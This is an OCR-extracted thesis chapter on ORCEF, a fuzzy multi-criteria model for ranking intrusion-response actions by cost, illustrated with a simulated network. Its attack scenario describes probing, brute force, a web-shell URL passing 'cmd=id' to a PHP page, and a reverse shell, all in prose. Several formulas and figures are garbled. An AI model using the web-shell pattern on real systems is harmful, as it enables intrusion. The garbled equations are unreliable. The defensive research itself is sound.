mechanism for response cost evaluation in complex network topologies, but also the more
detailed factors to evaluate positive effects and negative impacts. In addition, we discuss the

main challenges to evaluate response costs with respect to the attack type.

4.2 Introduction

Today, cyber attacks and malicious activities are common problems in distributed sys-
tems, and they are rapidly becoming a major threat to the security of organizations [71]. Tt is
therefore crucial to have appropriate Intrusion Detection Systems (IDS) in place to monitor,
trace, and analyze system execution. Only then can we hope to identify performance bot-
tlenecks, malicious activities, programming functional, and other performance problems [1].
Intrusion Response Systems (IRS), by contrast, continuously monitor system health based on
IDS alerts, so that malicious or unauthorized activities can be handled effectively by applying
appropriate countermeasures to prevent problems from worsening and return the system to

a healthy mode. Unfortunately, IRS receive considerably less attention than IDS [2].
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Usually, the attacker exploits security goals : the confidentiality and integrity of data,
and the availability of service (referred to as CIA), by targeting vulnerabilities in the form of
flaws or weak points in the security procedures, design, or implementation of the system [g].
The main issue in choosing a security measure is to correctly identify the security problem.
For example, we do not want to isolate a whole server from a network on which many services
are installed, nor do we want to kill processes that are using a considerable amount of CPU
resources unless we are sure they are being attacked. Thus, implementing an appropriate
algorithm in IDS and IRS, and choosing the right set of responses, must take into account
whether or not the network is being attacked with a very high positive value. It is essential
that we counter attacks with new features, a complete list of responses, accurate evaluation
of those responses in a network model, and an understanding of the cost of each response
in every network element. If we fail to do so, our automated IRS will needlessly reduce
network /host performance, wrongly disconnect users from the network/host, and eventually
result in a DoS attack on our network.

The main contribution of this work is to prepare a proper online response cost evaluation
for automated IRS with respect to all elements of a network and the dependency between
resources and system users based on the decision tree of each response. Eventually, our
model proposes an accurate ordered list of responses to repel the attack. The first candidate
response will be selected from the ordered list based on : damage cost, confidence level of
attack detection, and resource value. This is a novel approach proposed in this paper.

The paper is organized as follows : first, we will investigate earlier work and several existing
methods for intrusion response. Fuzzy modeling is illustrated in Section [£.4] The proposed
model will be discussed in Section [1.5] Experimental results are given in Section [4.6] Finally,
Section concludes the paper.

4.3 Related Work

4.3.1 Service dependencies model

Our use of software systems, information systems, distributed applications, etc. is conti-
nuously growing in size and complexity. Today, many services are presented to the users. One
the important of mission of all organizations is providing the best services to theirs users. Any
disruption of services causes the users will be dissatisfied. This could be one of the important
criteria for the competition between organizations. Thus, to design a new generation of IRS,
it is extremely important to maintain the users QoS, the response time of applications, and
critical services in high demand when a set of responses are been applying by IRS.

In this paper we present a taxonomy of intrusion response systems based on response cost
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evaluation :

— Static Cost : The static response cost is obtained by assigning a static value based
on expert opinion. So, in this approach, a static value is considered for each response
(RCs = CONSTANT).

— Static Fvaluated Cost : In this approach, a statically evaluated cost, obtained by an
evaluation mechanism, is associated with each response (RCs. = f(x)). The response
cost in the majority of existing models is statically evaluated. A common solution is
to evaluate the positive effects of the responses based on their consequences for the
confidentiality, integrity, availability, and performance metrics. To evaluate the nega-
tive impacts, we can consider the consequences for the other resources, in terms of
availability and performance [27]. For example, after running a response that blocks a
specific subnet, a Web server under attack is no longer at risk, but the availability of
the service has decreased. After evaluating the positive effect and negative impact of

each response, we then calculate the response cost. One solution is as follows [2§] :

RCe = Positivecy fect/Negativempact (4.1)

Obviously the higher RC, the better the response in ordering list.

— Dynamic Evaluated Cost : The dynamic evaluated cost is based on the network situation
(RC4.). We can evaluate the response cost online based on the dependencies between
resources and online users. For example, the consequences of terminating a dangerous
process varies with the number of interdependencies of other resources on the dangerous
process and with the number of online users. If the cost of terminating the process is
high, maybe another response would be better. This model meets the needs of QoS.

If we take a look at the taxonomy presented in [5], we see that the majority of the proposed
IRS use Static Cost or Static Evaluated Cost models [7, 23, 27, 28 29| 30], 31, 32], 57, 58],
59, 60}, 641, 65, 66], 67, 68, 69]. In contrast, four interesting models have been presented in the
third category [33, 50, 51, 52]. In continue, we discuss about the contributes of Tothe et al.
[33], Balepin et al. [51], Jahnke et al. [52], and Kheir et al. [50].

Considering service dependencies model in IRS, firstly proposed by Toth and Kruegel [33].
They presented a network model that accounts for relationships between users and resources,
illustrating that they are performing their activities by utilizing the available resources. The
response model goal is to keep the usability of a system as high as possible. Each response
alternative (which node to isolate) is inserted temporarily into the network model and a
calculation is performed to find which one has the lowest negative impact on the services.
Each service has a static cost and there is only the "block IP” response to evaluate as a way to

repel attacks. When the IDS detects an attack coming towards a machine, an algorithm tries



44

to find which firewall/gateway can minimize the penalty cost of the response actions. This
approach suffers multiple limitations. First, they did not consider positive effect of responses.
Evaluation of responses without considering positive effect lead us to inaccurate evaluation.
For example, if negative impact of response A is greater then response B it does not mean
that response B has to be applied first. Maybe, the positive effect of response A is very
better that B and if we calculate the response effectiveness, overall, response A is better.
Second, from security goals perspective (CIA), there is not any evaluation in terms of data
confidentiality and integrity. Eventually, in the proposed model only the "block IP” response
has been considered. In the other words, it tries to decrease the availability of target resource
completely.

Balepin et al. [51] presented a local resource dependencies model to evaluate response in
case of attack. Like [33], it considers the current state of system to calculate response cost.
Each resource has common response measures associated with it. They believe design a model
to assess the value of each resource is a difficult task, so they order the resources by their
importance to produce a cost configuration. Then static costs are assigned to high priority
resources. It means, costs are inflicted into resource dependencies model when associated
resources get involved in an incident. A particular response for a node is selected based on
three criteria : 1) response benefit : sum of costs of resources that response action restores
to a working state, 2) response cost : sum of costs of resources which get negatively affected
by response action, and 3) attack cost : sum of costs of resources that get negatively affected
by intruder. Thus, unlike [33] this model considers the positive effects of responses. This
approach suffers multiple limitations. First, it is not clear how response benefit is calculated
in terms of confidentiality and integrity. Second, restoring the state of resource can not be only
measure to evaluate response positive effect [73]. Finally, the proposed model is applicable for
host-based intrusion response system. To use for network-based intrusion response, it requires
significant modifications in cost model [73].

Jahnke et al. [52] present a graph-based approach for modeling the effects of attacks
against resources and the effects of the response measures taken in reaction to those at-
tacks. The proposed approach extends the idea put forward in [33] by using general, directed
graphs with different kinds of dependencies between resources and by deriving quantitative
differences between system states from these graphs. If we assume that G and G are the
graphs we obtain before and after the reaction respectively, then calculation of the response’s
positive effect is the difference between the availability plotted in the two graphs : A(G)-A(G).
Like [33, [51], these authors focus on the availability impacts.

Kheir et al. [50] propose a dependency graph to evaluate the confidentiality and integrity

impacts, as well as the availability impact. The confidentiality and integrity criteria were
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not considered in [33] 51} 52]. In [50], the impact propagation process proposed by Jahnke
et al. is extended by adding these impacts. Now, each resource in the dependency graph
is described with a 3D CIA vector, the values of which are subsequently updated, either
by active monitoring estimation or by extrapolation using the dependency graph. In the
proposed model, dependencies are classified as structural (inter-layer) dependencies, or as
functional (inter-layer) dependencies. Although Kheir et al. proposed a complete model for
IRS but it is very difficult to find and keep update the impact of confidentiality and integrity

of a resource to others.

4.3.2 Multi-criteria decision-making

Multi-criteria decision-making is a method based on decision making tables that the value
of each alternative in decision making is determined by experts. The aim of multi-criteria
decision-making techniques is to rate and determine the priority among different alternatives.
Multi-criteria decision-making (MCDM) has been applied in many issues such as risk of E-
business development, software development, groundwater contamination, forestry, health
centers, and etc. Different methods have been used in determining level of risk that most
of them are based on measuring the impact of risk. Likewise some proposed techniques use
predefined rule-based technique. MCDM has various methods that the most famous and
widely of them are : AHP, TOPSIS, and SAW.

AHP method [74] is based on pair wise comparisons and is very accurate, but can not
be accepted by experts easily. Also, in the entropy technique, if all alternatives in a criterion
have "wery high” value, it leads to high decrease on weight of that criterion, whereas we are
looking for actual value of alternatives and relative value to "wery high” case should present
itself in determining the value of that alternative.

In TOPSIS [79], the chosen alternative should be as close to the positive ideal and as far
away from the negative ideal solution as possible. Therefore if we apply TOPSIS technique in
evaluating response, it prioritizes and ranks the responses that is not our goal. Thus TOPSIS
technique can not be used directly in our model.

Hwang and Yoon [80] proposed the Simple Additive Weight (SAW) method that is the
most widely used in multi-criteria decision-making. In SAW technique, determining the weight
of criteria in decision making tables is done according to experts’ opinions. Generally this task
is done either according to values of decision making table like techniques of Shanon entropy
[81] and LINMAP, or is directly determined by the answerers like pair wise comparisons or
assigning weights directly by experts.

Since a practical model for any network topology is our goal, SAW technique was chosen

to implement and also since response evaluation is in domain of topics that have ambiguity,
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fuzzy logic is appropriate for evaluation in uncertain subjects, and by using it, experts can

propose their opinions in the linguistic variables form like "very high”, "low”, etc.

4.3.3 Contribution

The main contributions of this work are the following. The proposed framework is a
cost-sensitive approach using dynamically evaluated response cost, regard to the dependency
between resources on a host or different hosts, the number of online users, and the speed of
applying responses. The evaluation of response cost consists not only in a response decision
tree, but also in measuring the impact on all elements of a complex network, such as all
services in each subnet ; system users are taken into account with respect to the goal and
mission of the organization. This model leads us to have a dynamic cost-sensitive approach for
any complex network topology. All the responses are evaluated on different points of attack
path. Depending on the location type, appropriate responses can be assigned to calculate the
cost. The "Attack Path” idea can help us to find the best locations where to apply responses,
with the lowest penalty cost. Due to numerous locations and a variety of responses at each
location, this leads us to a more effective framework for defending a system from an attack,
being less predictable. This is a novelty introduced in this paper. The important point is that
the attack type has not been considered in the response cost evaluation in the majority of
existing automated IRSs. Thus, the result of evaluation is incomplete, being independent of
the attack type. As we will see, in the response evaluation challenges section, there may be
two very different results for the same response, depending on the attack type. We tackled this
issue with the idea of a decision tree for each response, based on the attack type. In terms of
accurate evaluation of responses, effective criterions for cost measurements are considered, and
experts present their opinions on these criterions using the Multi-Criteria Decision-Making

(MCDM) technique. This increases the accuracy and reliability of the results.

4.4 Fuzzy Model

In this section, some definitions and properties used in this paper are introduced :
Definition 1) Fuzzy set A= (a, b, ¢) on real number domain is called a triangular fuzzy

number if its membership function has the following specifications :



ifa<z<b

(X) = ((2:3 fb<z<c

0 otherwise
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(4.2)

Property 1) Given two positive triangular fuzzy numbers A and B, the main operations

can be expressed as follow [82] :

A = (a,b,c)
B = (d,e, f)
A+B=(a+d,b+ec+[)

A—B=(a—f,b—e,c—d)

A® B = (ad, be, cf)

oo

ol
I
—~
e
ulo
SN—

K ® B = (Ka, Kb, Kc)

Property 2) Yao and Chiang [83] compared the Centroid and Signed distance methods

and the results show that the signed distance yields better results in defuzzification of trian-

gular fuzzy numbers. The signed distance of triangular fuzzy number A= (a, b, ¢) is defined

as follows and is used for its defuzzification [84] :

A:a—|—2b+c
4

(4.4)

Definition 2) In this model, linguistic variables are used to get experts’ opinions for

weights of criteria and to rate alternatives with respect to various criteria whose fuzzy equi-

valent is as Tables [1.1] [1.2] and [4.3] illustrate [85] :
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Table 4.1 Linguistic variables and fuzzy equivalent for the importance weight of each criterion.

Linguistic variables Fuzzy triangular

Very low (VL) (0,0, 0.1)
Low (L) 0, 0.1, 0.3)
Medium low (ML) (0.1, 0.3, 0.5)
Medium (M) (0.3, 0.5, 0.7)
Medium high (MH) (0.5, 0.7, 0.9)
High (H) (0.7, 0.9, 1.0)
Very high (VH) (0.9, 1.0, 1.0)

Table 4.2 Linguistic variables and fuzzy number for the ratings of the positive category of
criteria.

Linguistic variables Fuzzy triangular

Ineffective (I) (0,0, 1)
Very Poor (VP) (0, 1, 3)
Poor (P) (1, 3, 5)
Average (A) (3,5, 7)
Good (G) (5,7,9)
Very Good (VG) (7,9, 10)
Excellent (E) (9, 10, 10)

Table 4.3 Linguistic variables and fuzzy number for the ratings of the negative category of
criteria.

Linguistic variables Fuzzy triangular

Ineffective (I) (0,0, 1)
Very Poor (VP) (0, 1, 3)
Poor (P) (1, 3, 5)
Average (A) (3,5, 7)
Bad (B) (5,7, 9)
Very Bad (VB) (7,9, 10)

Noxious (N) (9, 10, 10)
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4.5 Proposed Model

4.5.1 The graph model

In this subsection, we introduce a graph model used to evaluate response cost. Our ele-
ments in this graph model are resources denoted as R. A resource can be service (S) or user
(U) such that :

R=SUU
SUU =6
For each service three properties are defined : C(S), I(S), and A(S). They denote the

confidentiality, integrity, and availability of service respectively. Users have dependency to

(4.5)

the availability of resource(s) to perform their activities.

f(U) = A(S1) * A(S2) * ... x A(S,,) (4.6)

There are different kinds of dependencies between services [50, [52] respect to the avai-
lability property. Sometimes, a service depends to the functionality of a or many services
(Sant)- If the service availability does not have dependency to the other services, we denote

it Intrinsic.

A;(Saep) if S does not depend
A(Saep) = (4.7)

A7(Sgep) * A(Sane) if S depends to S list

Jahnke et al. [52] present complete types of dependencies between resources. In the pro-

posed model two types of dependencies have been considered as follows :

1. Mandatory : service requires the functionalities of all services in the list S

2. Alternative : service requires the functionalities of one service in the list S at least

4.5.2 ORCEF Architecture

Figure shows the proposed architecture. The physical network is our physical net-
work infrastructure. The logical infrastructure identifies the number of services and users in
each host. A management layer has been designed to oversee these two layers. All necessary
information has been defined in the management layer to calculate the response cost. As
illustrated in Figure once IDS has succeeded detecting an attack, it sends an alert to the
ORCEF. Then, appropriate responses are selected from the response list to repel the attack.

Each response in the list is applied temporarily into the logical network model and its cost
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is calculated online based on our criteria. The total cost for each response is thus obtained.
Finally, the result is a list of responses with related cost that can be ordered by our policy :
1) High cost to low cost for the best prevention policy 2) Low cost to high cost for attack
analysis policy, or risk index policy. The earlier responses in the sequence have a lower cost
but later responses are stronger. When the attack process is progressing, the next response

is allowed to run [2§].

Attack Path

Allocate appropriate

\ 4 responses to each point ORCEF IRS
Attack Spec. of attack path

Response Selection

A

List of Responses

+ Update

> Response Cost
Static Evalution | Response  frmeee- > Logical Network Model
| Decision Tree

y - \ 4

. Updat
Exp:erts T EE TP EETTLEERCEEPRLE . v pdate

Y

]

Online Response Cost Evaluation

Ordering Strategy

Logical Infrastructure

Update

Y

Resource
Assessment

Apply Response

Physical Netwrok

Figure 4.1 ORCEF architecture.

Logical Network Model

This component summarizes our network elements that are critical to evaluate the res-
ponse cost. As Figure illustrates, our network model contains logical information on the
network such as network/local resources dependencies, users, and users privilege level. With
this logical network information, we can analyze a network in case of attack and calculate

each response cost.

Evaluation Criteria

Our evaluation strategy relies on the evaluation of the positive effects and negative im-
pacts of the responses. The positive effect of a response is based on its effect on the data

confidentiality, data integrity, service availability, and speed. We also take into account the
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Figure 4.2 Entity Relationship Diagram (ERD) for logical network model.
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negative impact in terms of service availability on the current resource, other resources, user
perspective, and setup cost.

Definition 3) Positive_Confidentiality (P-C) factor refers to how data confidentiality
will be increased significantly when we apply each response.

Definition 4) Positive_Integrity (P-I) factor refers to how data integrity will be increa-
sed significantly when we apply each response.

Definition 5) Positive_Availability (P_A) factor refers to how service availability will
be increased significantly when a response is applied.

Definition 6) Positive_Speed (P_S) factor illustrates how long it takes to apply. For
example, when we apply the remove user response, its speed is not fast ; its effect will be in
the near future when he wants to login.

Definition 7) Negative_Itself (N_I) factor refers to the negative impact of applied res-
ponse on current process or resource that is the attacker’s goal in terms of availability. For
example, by applying R_KILL_PROCESS, the availability of the process or resource will be
removed completely.

Definition 8) Negative_Host (N_H) factor refers to the negative impact on other re-
sources or services available on the current host in terms of availability.

Definition 9) Negative_Zone (N_-Z) factor refers to the negative impact on other re-
sources or services available on other hosts in a zone in terms of availability.

Definition 10) Negative_Network_User (N_NU) factor refers to the negative impact on
network users that are using the current resource in terms of availability.

Definition 11) Negative_Local_User (N_LU) factor refers to the negative impact on local
users that are using the current resource in terms of availability.

Definition 12) Negative_SetupCost(N_SC) factor means how much the applied response
costs to setup the system again, restoring previous services. For example, after applying
R_RESET response and controlling the attacker, administrator has to do some configuration
again for some services on the attacked machine.

P_C, P_I, P_A, P_S, and N_SC are considered statically computed parameters ; the others

are dynamic.

Experts Evaluation Mechanism

The aim of multi-criteria decision-making techniques is to rate and determine the priority
among different alternatives. Various methods implement MCDM, the most common and
widely known are : AHP [81], TOPSIS [79], and SAW [80]. Since a practical model for
any network topology is our goal, SAW technique was selected. Furthermore, since response

evaluation is a domain with a degree of uncertainty, fuzzy logic is an appropriate model
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for evaluation in such areas. Using a fuzzy model, experts can express their opinions in the
linguistic variable forms such as "very high”, "low”, etc. The alternatives in the proposed

model are divided into two categories : 1) positive effect 2) negative impact.

Response Decision Tree

Suppose we have an Apache web server process under the control of an attacker, this
process is now a gateway for the attacker inside our network. The general response to coun-
termeasure would be to terminate this dangerous process. By applying this response, we will
increase our data confidentiality and integrity. However, as a negative impact, we lose Apache
availability. In another scenario, we could have a process on a server consuming a considerable
portion of the CPU doing nothing except slowing down our machine (e.g. CPU DoS attack).
This time, killing this process will improve service availability (system performance), but will
not change anything for data confidentiality and integrity. Thus, as illustrated, we can have
two very different results for the same response. Therefore, evaluation of responses without
considering the attacks is not adequate. Generally, attacks are divided into four categories
[23, 25] : 1) Denial of service (DoS) 2) User to root (U2R) 3) Remote to local (R2L) 4)
Probe. In the first category, since an attacker is slowing down our system, we are looking for
a response which can increase service availability (or performance). In the second and third
categories, since our system is under the control of an attacker, we are looking for a response
which can increase data confidentiality and integrity. In the fourth category, attackers are
going to gather information from the network and possible vulnerabilities and their effect on
data confidentiality and service availability. Thus, responses that improve data confidentiality
and service availability are expected. Therefore, in response cost evaluation, the attack type
has been considered to tackle the challenges discussed.

A "Decision Tree” has been designed for each response, as Figure[4.4]illustrates. This figure
illustrates kill process decision tree. When we want to kill a process, in the first step we have
to check whether the process is exist in the logical network model or not. If it is not available,
it means the attacker has created the process and killing it will be very useful. As Figure [4.4]
illustrates in the right side, positive parameters have higher values and negative parameters
has been assigned to ineffective (I). If the process is exist in logical network model, we have to
check the attack type as mentioned. For each negative criteria, a function has been designed
and is explained in Table[4.4] Kill response causes to lose the availability of process completely.
Thus N_I parameter is noxious (N). To calculate N_.NU and N_LU, we have to indicate the
number of network (fnu(z)) and local (flu(z)) users affected in terms of availability. The
total number has to be multiplied into noxious (N) fuzzy value. If other resources do not

have dependency with this process, N.H and N_Z are ineffective (I). Otherwise, it has to



o4

be calculated in host and zone by fh(z) and fz(z) respectively. To understand the concept of
each function, let us verify the response cost for R_REMOVE_APPLICATION_USER response.

Zone Zone

Hostl Hostl

Web Service MySQL Service : Web Service MySQL Service

.9 db-user .' TN, web-x 5
5 o = — _.-"‘ 5 A e, o [ —— .-":
|1 ; ; db-uder L—T1 db-uspr
db-user, web-y
Judouser | f o mail

......... /
/

/ /
/ /

Host 2 / Host 2 /
Mail Service Mail Service
[ o R J o o A
(a) R_REMOVE_APPLICATION_USER(db-user) (b) R_REMOVE_APPLICATION_USER (web-x)

Figure 4.3 R_ REMOVE_APPLICATION_USER

Figure shows two different scenarios in case of attack on process x of web service. On
the left side, all services (web and mail) are using the shared user of MySQL application. By
contrast, on the right side, each service is using a separate user. If we remove db-user upon
detecting an attack, it is obvious that processes y and m can not continue their mission. The
functions : fh(z), fz(z), fnu(z), and flu(z) illustrate how the cost can be calculated for host,
zone, network user, and local user respectively. By comparison, removing web-z user from
the right side scenario does not affect processes y and m. The cost for this scenario is thus
much less than the previous one.

Each response has a separate decision tree. Table has been extracted from all the
decision trees of responses and used to calculate the negative impact portion of response

cost.
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Figure 4.4 R_KILL_PROCESS decision tree.

Table 4.4 Functions description.

C= {VG,VG,G,..}/n
1= {G,VG,G,...}/n
{VG.VG,G,...}/n

nEzNT
accu
LI T —

Function Name

Description

fi(x)

fh(x)

fz(x)

fnu(x)

flu(x)

fp(x)

Calculating the number of live resource/service on a host

Calculating the number of interrupted relationship

between resources inside a host caused by applied response

Calculating the number of interrupted relationship

between resources of a host (that response has been
applied on it) and resources of other hosts inside a zone

Calculating the number of network users affected
in terms of availability by applied response

Calculating the number of local users affected

in terms of availability by applied response

Calculating the number of open ports that a host has

after applying a response that is related to port
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Resource Assessment

Resource value (RV) has been obtained by experts’ opinions using MCDM technique.
Since resource assessment is not our focus in this paper, we will show the final results of

evaluation in the experimental section.

Attack Damage Cost

Attack damage cost(DC) has been defined based on four categories (U2R, R2L, DoS,
and PROBFE) statically. Maximum damage cost is considered for U2R category, meanwhile

minimum damage cost is allocated for PROBE category.

4.5.3 Execution stages

To implement this model, 14 steps are required (the two first steps are initialization
steps) :

Step 1) Obtain experts’ opinions in form of linguistic variables about the importance of
each criteria (ten factors) in each subnet of the network. It must be done based on decision
making table that shows the weight of criteria.

Step 2) Obtain experts’ opinions to assess five static criteria in the form of linguistic
variables (Table [4.2] and [4.3)).

Step 3) Allocate related responses to the location extracted by the attack path com-
ponent.

Step 4) Calculate online negative criteria in triangular fuzzy numbers based on logical
network model.

Step 5) Replace linguistic variables with fuzzy variables. Merge all experts’ opinions and
establish a decision making matrix. Z;; and w; are triangular fuzzy numbers and assume that

our decision group has k persons :

Tij = (aij, bij, cij)
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i1 Tiz2 0 Tin

D T21 T2 - T2
(4.9)

ITmli Tm2 - Tmn

W = [y, W, ..., W]
Step 6) Linear normalization of consolidated matrix through the following relationship
(category B is related to incremental criteria and category C is related to decremental criteria)

36, 187 :

oy bty if je B
~ ctoctoct
i =94 o o o

“,p,% ifjeC

J ] )

(4.10)

. . .
C; =max ¢ if j€B

c; =min  a; if jeC
Step 7) Deffuzification of combined weights through signed distance method ; normalize

through the following formula :

Wy = —d (4.11)
>
J
Step 8) Calculate weighty matrix :
Ty Tz o T wy
Tor Toy v Top . U.JQ <4'12>
:i'ml :z'mZ e jmn Wn,
Step 9) Combining related criteria :
C.I,A,S8,1,H Z NU,LU,SC = (a,b,c)
(4.13)

PE,=C+I1+A+S
NI,=I+H+Z+ NU+ LU + SC

Step 10) Deffuzification of fuzzy values by Signed Distance method for positive and
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negative attributes of each response.

PE;,NI; = (a,b,c)
(4.14)

PE;def, NI, def = ©+2tc

Step 11) Establish response cost matrix. This matrix represents n responses with two

attributes : positive and negative.

R, | PE, NI,
R, | PE, NI,

R = (4.15)
R, | PE, NI,
Step 12) Calculate response cost using Manhattan Distance function [8§].
R, R, --- R,
Ry 0 d(1,2) ... d(1,n)
Dissimilarity= R, | d(2,1) 0 .o d(2,n)
R, | d(n,1) d(n,2) --- 0 (4.16)
R; = (PE;.def, NI,.def)
R; = (PE;.def,NI;.def)
RC; =377, d({%Ci, RC}) ] ~ )
RC, = X" \[(PE,def — PEj.def) + (NI,.def — NI,.def)]
Step 13) Order responses based on our ordering policy.
L= (Ry,R5,R,, - ,Ry) (4.17)

Step 14) Find the first candidate response (CR) to repel attack from the ordered list of
responses, with respect to the attack damage cost, confidence level (CL) of alert and resource

value. The ordered list is divided into ¢ sections with m responses. The DC and RV have
been scaled to SC = 100.

N=t*xm
CRy =[(DC *xCL*t)/SC]*m+ (mx RV)/SC (4.18)
CRiy1 =CR;
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4.6 Experiment Results

4.6.1 Simulation Setup

We considered a network model as Figure illustrates to evaluate the cost of each
response. It shows a network that consists of an external DMZ and five subnets. External
user (internet user) can use only the company web site and email service. All ports of IP
192.168.10.3, used internally by the MySQL database, are closed for external users. The ex-
ternal DMZ is more likely to be attacked than internal or private subnets. Table [4.0]illustrates
the number of online users in each subnet. Damage cost and resource value have been defined
statically as Table 4.7 and show respectively. Resource assessment is based on experts’
opinions and has been scaled to 100 with respect to the highest value of all criteria (CIA) for

evaluating a resource.

4.6.2 Attack Scenario

The attack scenario is a multi-step attack of type R2L. The steps have been grouped
into four attack phases. The attacker probes the network, breaks into a database server
by exploiting the web service vulnerability on another server, and eventually establishes a
reverse shell on his local machine from the compromised host. The four phases of the attack
scenario are : 1) Find live machines : The attacker sends ICMP echo-requests in our network
and listens for ICMP echo-replies to determine which hosts are "up”. 2) Port scan and find
available services : The attacker tries to do a port scan and sends requests to a range of
server port addresses on hosts. The goal is to find active ports. The next goal in this step,
after discovering visible ports, is to know which services are running and exploiting a known
vulnerability for a service. 3) Bruteforce password and username : Firstly, the attacker tries to

find the config file of the website that it uses to connect to the database server. In the config

Table 4.6 The number of online user in each subnet.

Type No.
Internal email user 46
Outside email user 4
Internal web user 46
Outside web user 54
Production software user 23
Local user 11
Remote admin user 1

MySQL user 2
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Figure 4.5 A network model to evaluate response cost

Table 4.7 Attack damage cost.

Type Cost
U2R 100
R2L 60
DoS 35
PROBE 5

Table 4.8 Resource value.

Name Fuzzification Defuzzification Scale %100
DMZ.Web (1.64,2.08,2.43) 2.06 81
DMZ.DB (1.97,2.31,2.47) 2.26 90
Production.Web  (1.54,1.90,2.25) 1.88 74
Production.DB (1.76,2.14,2.37) 2.10 83
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file, he can find the IP of the MySQL database server and the basic user name and password
that may have readonly permission. Since it has readonly permission, he tries to find full
access permission by another way. There are many tools to find all directories and pages. The
attacker finds an admin page with strong password using the skipFish tool. Eventually, the
attacker finds (192.168.10.2/test.php 7cmd=id) which id command is executed. MySQL does
not have a built-in command to execute shell commands, thus this mechanism is a great way
to create a backdoor to the Apache web server for executing shell commands. In this step, the
attacker can execute system commands as Apache user. 4) Establish a reverse shell : In the
final phase, since the attacker has compromised the MySQL database machine, he is looking
to provide a user friendly access to the system. Thus, the attacker creates a reverse command
shell. When the attacker types in, his local listening server will get executed on the attacked

machine, and the output of the commands will be piped back.

4.6.3 Detection of Attack and Attack Path

To detect this attack, we have used an automata-based approach [I] for analyzing traces
generated by the operating system kernel. The patterns of problematic behavior are identified
and described using finite-state machines (FSM). These patterns are fed into an analyzer
which efficiently and simultaneously checks for their occurrences even in traces. Attack path
is a new feature that has been added to [I] to find attack paths simultaneously when the
IDS is detecting an attack. The attack path consists in four points : 1) Start point : intruder
machine 2) Firewall points : firewalls or routers 3) Mid points : all middle machines that
the intruder exploits (through vulnerabilities) to compromise the target host 4) End point :

intruder’s target machine.

4.6.4 Simulation Results
Importance of each criteria

At the first, to determine the importance of each criteria, experts proposed their opinions
in the form of linguistic variables according to the Table [4.1] Table shows the weight of
each criteria in each zone as Figure illustrates. Let us analysis of experts’ opinions (Step
1):

— FExternal DMZ : All criteria for external DMZ are high because this DMZ is business
goal of company and data confidentiality, data integrity, and service availability are
very important in this zone. Since service availability is important for us, we are looking
for response that have not negative impact on itself, other resources on host or other

resources on other hosts.
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— Accounting Subnet : It seems in this subnet, data confidentiality and integrity are very
important because sensitive data such as financial data, budgets, financial transactions
are exist in accounting database. Service availability is not very important. Thus if
response has negative impact on itself, other resources on host or other resources on
other hosts, are not important for us. Also, if user from "Accounting Desktop Subnet”
could not access to this zone is not a problem. Hence service availability has a low value
and setup cost is almost the same. It means the administrator has time to represent
previous services. The important point is that the speed of response is very important
in this subnet.

— Production Subnet : Production web application and related database are exist in this
subnet. Service availability is very important in this software where we need to view
live data showing each worker’s current task. Since we are looking for responses that
have very low setup cost and negative impact on availability. Data confidentiality and
integrity are not very important.

— Accounting Desktop Subnet : In this subnet, there is not any service and dependency
between hosts. Hence, all the negative parameters have low value. One of the concerns
is that the attackers have access to specific files or folders contained important finan-
cial transactions that are exist in client-side machine. Another concern is access to
accounting data on server through presentation layer of accounting software. Hence,
data confidentially and integrity are important in this subnet approximately.

— Production Desktop Subnet : The important concerns in this subnet is that all users
are connected to "Production Subnet”.

— General Subnet : In this subnet internal DNS and general software such as "document

management” are exist. Hence, all criteria are approximately important.

Responses Cost and Ordering

Figure [4.5] illustrates two attackers that try to compromise the MySQL server based on
our multi-step attack scenario. The first attack is run by an “outside attacker” from the
internet and the second one is run by an “nternal attacker” who is one of the production
desktop subnet users, has only "read only” access to the production server and decides to
backdoor his permission. As Figure illustrates, for the outside attacker, there are three
points (Firewall, Web, DB) in the network model to apply related responses. Since we do not
have access to the attacker machine, there is no point to apply any response on the intruder
machine. As Table depicted, there are 32 responses to repel attacks, 10 responses in
firewall point, 11 responses in mid points, and 11 response in end point. For the internal

attacker, since we have access to the attacker machine, there are eight more responses that
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can be applied on the start point (intruder machine) with IP address 192.168.14.2. Table
illustrates the evaluation of static criteria by experts. In case of attack, we have to calculate
the dynamic criteria based on our network model, as Table and show for outside
and internal attackers respectively. All the responses in positive and negative columns have
been ordered based on the highest stopping efficiency against attack. As explained in step 12,
the Manhattan distance technique is used to merge positive and negative values, as shown
in cost column. The final step is ordering responses based on our policy that is "low cost
to high cost” in this work. As shown in the final ranking column, the earlier responses in
the sequence are those with the lowest cost, but later responses are stronger to repel the
attack. As we discussed, when the ordered list is created, the first candidate response has to
be selected to repel the attack. As mentioned in step 14 in Section [4.5, and since the value
of parameters for the first scenario (outside attacker) are (DC= 60, CL= 0.25, RV= 90, N=
32, m= 8, t=4), the R_NOT_ALLOWED_HOST (Attacker_IP) response (C'R; = 7) is selected to
apply on "Mid Point” (web server). The next response will be based on the ordered list and is
R_RESTART_DAEMON (httpd) (CR2 = 8). The value of parameters for the second scenario are
(DC= 60, CL= 0.25, RV= 83, N= 40, m= 10, t=4). It means the first candidate response
is R_F_BLOCK_SENDER_IP (Attacker_IP) on "Firewall Point” (CR; = 8).

As we can see, the proposed model provides a mechanism to balance response and attack

costs.
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4.7 Conclusion

In the last ten years, we have seen impressive changes in how attackers infect computers.
To counter yet unknown attacks, designing a framework with a high ability is essential. It
has to apply responses at different locations in the network, to balance the response impact,
and efficiency and to reduce the predictability of the response by intruders. Therefore, an
accurate evaluation of responses, taking into account the possibly complex network model
context, is required to gain a deeper insight of each response effectiveness and impact cost.
Otherwise, automated IRSs may blindly trigger a set of responses for each alert from IDS,
and degrade significantly the user’s needs in terms of QoS. The approach described in this
paper addresses this problem by presenting a novel model that demonstrates a dynamic cost-
sensitive approach. It has ability to find attack paths and calculate response cost online based
on accurate criteria for different locations of attack path. It proposes an accurate ordered list
of executable responses to repel attacks based on attack damage cost and response cost. This

model is applicable for a broad range of environments with a complex or simple structure.



73

CHAPTER 5

Paper 3 : ARITO : Cyber-Attack Response System using Accurate Risk Impact

Tolerance

ALIREZA SHAMELI-SENDI AND MICHEL DAGENAIS

5.1 Abstract

We propose a novel approach for automated intrusion response systems to assess the value
of the loss that could be suffered by a compromised resource. A risk assessment component
of the approach measures the risk impact, and is tightly integrated with our response system
component. When the total risk impact exceeds a certain threshold, the response selection
mechanism applies one or more responses. A multilevel response selection mechanism is pro-
posed to gauge the intrusion damage (attack progress) relative to the response impact. This
model proposes a feedback mechanism which measures the response goodness and helps in-
dicate the new risk level following application of the response(s). Not only does our proposed
model constitute a novel online mechanism for response activation and deactivation based on
the online risk impact, it also addresses the factors inherent in assessing risk and calculating
response effectiveness that are more complex in terms of detail. We have designed a sophis-
